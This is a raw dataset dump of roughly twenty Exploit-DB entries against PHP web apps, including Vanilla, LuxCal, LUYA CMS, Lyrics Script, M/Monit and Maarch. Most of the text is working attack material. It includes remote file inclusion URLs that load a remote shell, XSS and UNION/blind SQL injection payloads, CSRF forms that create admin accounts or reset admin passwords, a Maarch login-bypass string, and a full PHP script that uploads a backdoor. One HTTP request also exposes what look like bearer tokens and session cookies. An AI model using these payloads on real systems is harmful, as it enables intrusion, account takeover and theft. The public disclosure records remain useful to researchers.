deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28260
Description: Lussumo Vanilla 1.0 - RootDirectory Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-24
Author: MFox

Exploit:
source: https://www.securityfocus.com/bid/19127/info

Vanilla is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.0.1; earlier versions may also be vulnerable.

Further information reports that this issue cannot be exploited because the vulnerable parameter is defined with a hard-coded value. Therefore this BID is being retired.

http://www.example.com/[path]/setup/upgrader.php?RootDirectory=http://www.example2.com/shell.txt?
Exploit-DB #33781
Description: Lussumo Vanilla 1.1.10 - 'definitions.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-23
Author: eidelweiss

Exploit:
source: https://www.securityfocus.com/bid/38889/info

Vanilla is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Vanilla 1.1.10 and prior versions are vulnerable. 

http://www.example.com/PATH/languages/yourlanguage/definitions.php?include= [inj3ct0r]
http://www.example.com/PATH/languages/yourlanguage/definitions.php?Configuration['LANGUAGE']= [inj3ct0r]
Exploit-DB #33013
Description: Lussumo Vanilla 1.1.5/1.1.7 - 'updatecheck.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-15
Author: Gerendi Sandor Attila

Exploit:
source: https://www.securityfocus.com/bid/35124/info

Vanilla is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Vanilla 1.1.8 are vulnerable. 

http://www.example.com/ajax/updatecheck.php?PostBackKey=1&ExtensionKey=1&RequestName=1<script>alert(123)</script>
Exploit-DB #4461
Description: lustig.cms Beta 2.5 - 'forum.php?view' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-27
Author: GoLd_M

Exploit:
# lustig.cms BETA 2.5 (forum.php view) Remote File Inclusion Vulnerabilities

# D.Scripts : http://dfn.dl.sourceforge.net/sourceforge/lustig-cms/lustig.cms_beta_2.5_2.zip

# V.Code : Line 12 . 13 . 14

#  if(isset($view))
#  {
#  include $view;

# POC : /forum/forum.php?view=Shell 

# milw0rm.com [2007-09-27]
Exploit-DB #21324
Description: luxcal 2.7.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-17
Author: L0n3ly-H34rT

Exploit:
#################################################
### Exploit Title: LuxCal v2.7.0 Multiple Remote Vulnerabilities
### Date: 17/09/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://www.luxsoft.eu/
### Software Link: http://www.luxsoft.eu/dloader.php?file=luxcal270.zip
### Version: 2.7.0
### Tested on: Linux/Windows 
#################################################

1- Local File Inclusion :

* P.O.C :

http://127.0.0.1/luxcal270/dloader.php?fName=../index.php

this is example for download the source of index script , you will see the source inside as name of affected file "dloader.php"

2- Information Disclosure :

* P.O.C :

http://127.0.0.1/luxcal270/lcaldbc.dat

- you will see the information of database but encrypte as Caesar cipher methode in shift 11 e.g. :

LuxCal
2.7.0
p 5 {x 0;h 9 "adrpawdhi";x 1;h 4 "ajmm";x 2;h 4 "gddi";x 3;h 6 "000000";x 4;h 0 "";}

- my information in database is :

mysql server : localhost

mysql username : root

mysql [CREDENTIAL_REDACTED]

mysql database : luxx

- when i install script all this name of information is encrypte and the word become as we see before in file "lcaldbc.dat" :

mysql server : adrpawdhi

mysql username : gddi

mysql [CREDENTIAL_REDACTED]

mysql database : ajmm

- you ask me how to decrypt that , you can decrypt by many ways but i give the easy way here :

http://www.richkni.co.uk/php/crypta/caesar.php

you can put your text and submit to decipher that word , then search in " Processed text - shift 11 "

you will see your decrypted word ..

3- XSS :

* P.O.C :

http://127.0.0.1/luxcal270/index.php?cD=[XSS]

also some files is affected 

4- phpinfo () :

http://127.0.0.1/luxcal270/pages/phpinfo.php

############################################

# Greetz to my friendz
Exploit-DB #32211
Description: LuxCal 3.2.2 - Cross-Site Request Forgery / Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-03-12
Author: TUNISIAN CYBER

Exploit:
[+] Author: TUNISIAN CYBER
[+] Exploit Title: LuxCal v3.2.2 CSRF/Blind SQL Injection Vulnerabilities
[+] Date: 09-03-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] CWE: CWE-352/CWE-89
[+] Vendor: http://www.luxsoft.eu/
[+] Friendly Sites: na3il.com,th3-creative.com
[+] Twitter: @TCYB3R

1.OVERVIEW:
LuxCal v3.2.2 suffers from a CSRF and Blind SQL Injection Vulnerabilities.

2.Version:
3.2.2

3.Background:
LuxCal is an innovative web based event calendar for home use and small businesses. 
It is easy to setup and allows easy and fast management of your calendar events at home, 
in the office, on business trips or when on holiday. LuxCal is feature rich, has been 
designed for user-friendliness and will help you to make error-free data inputs. 
The user interface colors are easy to customize. LuxCal is free "open source" software 
released under the GNU General Public License
http://www.luxsoft.eu/index.php?pge=dtail

4.Proof Of Concept:
CSRF:
<html>
<form method="POST" name="form0" action="http://127.0.0.1/lux/index.php?lc&editUser=y&uid=add">
<input type="hidden" name="uname" value="tcyber"/>
<input type="hidden" name="email" value="g4k@hot.mail"/>
<input type="hidden" name="new_pw" value="123456"/>
<input type="hidden" name="userRights" value="9"/>
<input type='submit' name='addExe' value="Add Profile">
</form>
</html>

Blind SQL Ijnection:
http://127.0.0.1/lux/rssfeed.php?cal=(select(0)from(select(sleep(0)))v)/*%27%2b(select(0)from(select(sleep(0)))v)%2b%27%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/
"SQL error. See 'logs/mysql.log'"

5.Solution(s):
no contact from vendor

6.TIME-LINE:
2014-07-03: Vulnerability was discovered.
2014-07-03: Contact with vendor.
2014-08-03: No reply.
2014-09-03: No reply.
2014-09-03: Vulnerability Published



7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
Exploit-DB #17500
Description: LuxCal Web Calendar 2.4.2/2.5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-07
Author: kaMtiEz

Exploit:
#############################################################################################################
## LuxCal Web Calendar v2.4.2 / v2.5.0 SQL Injection Vulnerability			                   ##
## Author : kaMtiEz (kamtiez@exploit-id.com)								   ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id	   ##
## Date : 6 July, 2011 						                                           ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.luxsoft.eu
[+] Download : http://www.luxsoft.eu/index.php?pge=dload
[+] version : 2.4.2 - 2.5.0 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/index.php?xP=11&id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/index.php?xP=11&id=[num]

[ DEMO ]

http://127.0.0.1/luxcal/index.php?xP=11&id=-326415+union+all+select+1,2,@@version,user(),5,database(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--


[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack,Z190T
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,Caddy-Dz dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ] 

[+] Stop Dreaming , Lets Do it ! 
[+] Jangan Takut , Luka Pasti Akan Sembuh :)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #45589
Description: LUYA CMS 1.0.12 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-12
Author: Ismail Tasdelen

Exploit:
# Exploit Title: LUYA CMS 1.0.12 - Cross-Site Scripting
# Date: 2018-10-11 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://luya.io/
# Software Link : https://github.com/luyadev/luya/
# Software : LUYA CMS
# Version : 1.0.12
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# HTTP POST Request :
 
POST /admin/api-cms-nav/create-page HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/en/admin
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer 53431c6c5c751d[PII_REDACTED]667a70cbf483bc2869ce1b45cecb5be8983d6fa08o5E7gSdThq_KprALbv_-r496se-lhLi
X-CSRF-Token: vHqCboMdLTmKiufTdIrCcdmFAhmahRSLihW4CuJKQprpGNID4nZPd8njkYkO7Igpi-RFKfDgf8LTcOp4mhB34A==
Content-Length: 295
Cookie: _pk_id.1.2c3a=0f1464d36bad[PII_REDACTED]750.[PII_REDACTED][PII_REDACTED].; _pk_ref.1.2c3a=%5B%22%22%2C%22%22%2C[PII_REDACTED]%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D; PHPSESSID=pm9625erik3t3ddkqmql8nb0u1; _csrf_admin=b5e1f46c449881bd2d16dd32fcd2d2e02579c1a19bc7e233396e4bac99665c23a%3A2%3A%7Bi%3A0%3Bs%3A11%3A%22_csrf_admin%22%3Bi%3A1%3Bs%3A32%3A%22DxmjAB6ItiORW07BdnHjOXGhutdrmcx_%22%3B%7D
Connection: close

isInline=false&nav_item_type=1&parent_nav_id=0&is_draft=0&nav_container_id=1&lang_id=1&use_draft=0&layout_id=2&from_draft_id=0&title=%22%3E%3Cscript%3Ealert(%22Ismail%20Tasdelen%22)%3C%2Fscript%3E&alias=url-address-test&description=%22%3E%3Cscript%3Ealert(%22Ismail%20Tasdelen%22)%3C%2Fscript%3E
Exploit-DB #33008
Description: LxBlog - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2009-05-22
Author: Securitylab.ir

Exploit:
source: https://www.securityfocus.com/bid/35071/info

LxBlog is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following example URIs are available:

http://www.example.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND
if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND
if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*

http://www.example.com/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS]
Exploit-DB #33469
Description: LXR 0.9.x - Cross Referencer Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-05
Author: Dan Rosenberg

Exploit:
source: https://www.securityfocus.com/bid/37612/info

LXR Cross Referencer is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LXR Cross Referencer 0.9.5 and 0.9.6 are affected; other versions may also be vulnerable. 

http://www.example.com/lxr/ident?i=<script>alert('XSS')</script>
Exploit-DB #14244
Description: Lyrics 3.0 - Engine SQL Injection
Type: webapps
Platform: php
Date: 2010-07-06
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Lyrics V3 engine Sqli Vulnerability
Date : july 6,2010
Critical Level 	: HIGH
vendor URL :http://rightinpoint.com/
Price:$99
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
Key Features

    * SEO friendly engine - all urls looks like static html files
    * Huge database - 128521 lyrics, 8561 albums, 2076 artists, 6429 albums covers
    * New [add-on] Ability to upgrade database to the more that 380k lyrics, 20k artists, 30k albums.
    * New [add-on] Custom skins - we may create custom skin for you or you may buy one of the our predefined skins
#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL :http://server/index.php?new_a=addalbum&artist_id=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #32431
Description: Lyrics Script - 'search_results.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-27
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/31437/info

Lyrics Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search_results.php?k= XSS_CODE
Exploit-DB #13863
Description: Lyrics Script - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-14
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Lyrics Script SQL Injection and Cross-Site Scripting Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Lyrics Script
Authors = Dan Fletcher, Dunstan Mattocks
Link = http://www.buymyscripts.net/21/Lyrics_Script.html
Affected Version(s) = unknown

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 SQL Injection
target/search_results.php?search=Search&k=[SQL Injection]
target/browse_artist.php?letter=[SQL Injection]
target/browse_song.php?letter=[SQL Injection]

>> #2 Cross-Site Scripting
target/search_results.php?search=Search&k=[XSS]


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.06.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #44772
Description: Lyrist - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-27
Author: Meisam Monsef

Exploit:
# Exploit Title: Lyrist - Music Lyrics Script - SQL Injection
# Date: 2018-05-26
# Exploit Author: Meisam Monsef - meisamrce@gmail.com - @meisamrce
# Vendor Homepage: https://www.codester.com/items/7250/lyrist-music-lyrics-script
# Version: All Version


Exploit :
http://site.com/lyrics.php?id=-9999%27+[SQL+Command]+%23
http://site.com/lyrics.php?id=-9999%27+union+select+1,2,3,user(),5,6,7,8,9,10,11+%23
Exploit-DB #30516
Description: m-phorum 0.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-21
Author: CodeXpLoder'tq

Exploit:
source: https://www.securityfocus.com/bid/25394/info

m-phorum is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

m-phorum 0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/?go=[XSS]
Exploit-DB #34718
Description: M/Monit 3.3.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-09-20
Author: Dolev Farhi

Exploit:
Vulnerability title: M/Monit CSRF Author: Dolev Farhi Contact: dolevf at 
openflare dot com @dolevff Application: M/Monit 3.2.2 Date: 13.9.2014 
Relevant CVEs: N/A Vulnerable version: <= 3.2.2 Fixed version: N/A 1. 
About the application ------------------------ Easy, proactive 
monitoring of Unix systems, network and cloud services. Conduct 
automatic maintenance and recovery and execute meaningful causal actions 
in error situations M/Monit expand on Monit's capabilities and provides 
monitoring and management of all your Monit enabled hosts via a modern, 
clean and well designed user interface which also works on mobile 
devices. 2. Vulnerabilities Descriptions: ----------------------------- 
It was found that M/Monit latest version is vulnerable to CSRF attacks. 
it is possible to reset the password of any user account (admin/regular) 
on the system without needing to know the current set password for the 
attacked account. 3. Proof of concept exploit 
---------------------------- <html> <! -- CSRF PoC for M/Monit --> <div 
align="center"> <pre> <h2><b> 		 CSRF PoC for M/monit 			<b></h2> <body> 
<form action="http://mmonit_server:8080/admin/users/update" 
method="POST"> <input type="hidden" name="fullname" 
value="Administrator" /> <input type="hidden" name="password" 
value="Attacker_Passw0rd" /> <input type="hidden" name="email" 
value="attacker@email.com" /> <input type="hidden" name="admin" 
value="on" /> <input type="hidden" name="uname" value="admin" /> <input 
type="submit" name="submit" value="Attack" /> 	</form> 	</body> </div> 
</html>
Exploit-DB #35113
Description: MAARCH 1.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-10-29
Author: Adrien Thierry

Exploit:
/******************************************************
# Exploit Title: Maarch 1.4 Arbitrary file upload
# Google Dork: intext:"Maarch Maerys Archive v2.1 logo"
# Date: 29/10/2014
# Exploit Author: Adrien Thierry
# Exploit Advisory: http://asylum.seraum.com/Security-Alert-GED-ECM-Maarch-Critical-Vulnerabilities.html
# Vendor Homepage: http://maarch.org
# Software Link: http://downloads.sourceforge.net/project/maarch/Maarch%20Entreprise/Maarch-1.4.zip 
# Version: Maarch GEC <= 1.4 | Maarch Letterbox <= 2.4
# Tested on: Linux / Windows 
******************************************************/

The file "file_to_index.php" is accessible without any authentication to upload a file.

This exploit code is a POC for Maarch Letterbox <= 2.4 and Maarch GEC/GED <= 1.4

Exploit code :

<?php

/* EXPLOIT URL  */
$target_url= "http://website.target/apps/maarch_enterprise/";
/* EMPTY FOR OLDS VERSIONS LIKE LETTERBOX 2.3 */
$indexing_path = "indexing_searching/";
/* TARGET UPLOAD FILE */
$target_file = "file_to_index.php";
/* FILE TO UPLOAD IN SAME PATH AS THIS SCRIPT */
$file = "backdoor.php";
/* NAME, EMPTY WITH LETTERBOX */
$name = "shell";

/* LAUNCHING EXPLOIT */
do_post_request($target_url . $indexing_path . $target_file . "?md5=" . $name, $target_url, $file, $name);

function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------".substr(md5(rand(0,32000)), 0, 10);
    $data .= "--$boundary\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents."\n";
    $data .= "--$boundary--\n";
    $params = array('http' => array(
    'method' => 'POST',
    'header' => 'Content-Type: multipart/form-data; boundary='.$boundary,
    'content' => $data
    ));

$ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp)
    {
       throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false)
    {
       throw new Exception("Erreur !");
    }
    else
    {
        echo "file should be here : ";
            /* LETTERBOX */
            if(count($response) > 1) echo $response;
            /* MAARCH ENTERPRISE | GEC */
            else echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";

    }
}

?>
Exploit-DB #35114
Description: MAARCH 1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2014-10-29
Author: Adrien Thierry

Exploit:
/******************************************************
# Exploit Title: Maarch 1.4 SQL Injection 
# Google Dork: intext:"Maarch Maerys Archive v2.1 logo"
# Date: 29/10/2014
# Exploit Author: Adrien Thierry
# Exploit Advisory: http://asylum.seraum.com/Security-Alert-GED-ECM-Maarch-Critical-Vulnerabilities.html
# Vendor Homepage: http://maarch.org
# Software Link: http://downloads.sourceforge.net/project/maarch/Maarch%20Entreprise/Maarch-1.4.zip 
# Version: Maarch GEC <= 1.4 | Maarch Letterbox <= 2.4
# Tested on: Linux / Windows 
******************************************************/

Maarch GEC <= 1.4 and Maarch Letterbox <= suffer from multiple sql injection vulnerabilities. The worst is at the login page, index.php :

login : superadmin' OR user_id='easy
pass : whatyouwant

You see an sql error, but reload the web page, you are logged in.

To change superadmin pass:

Go to Menu -> Mon Profile

Type your news password twice, an email etc, and click on save. New Sql error (history table, so we don't care), but password is changed.

Clear your cookies, return to application url, enter your new fresh password, it's done.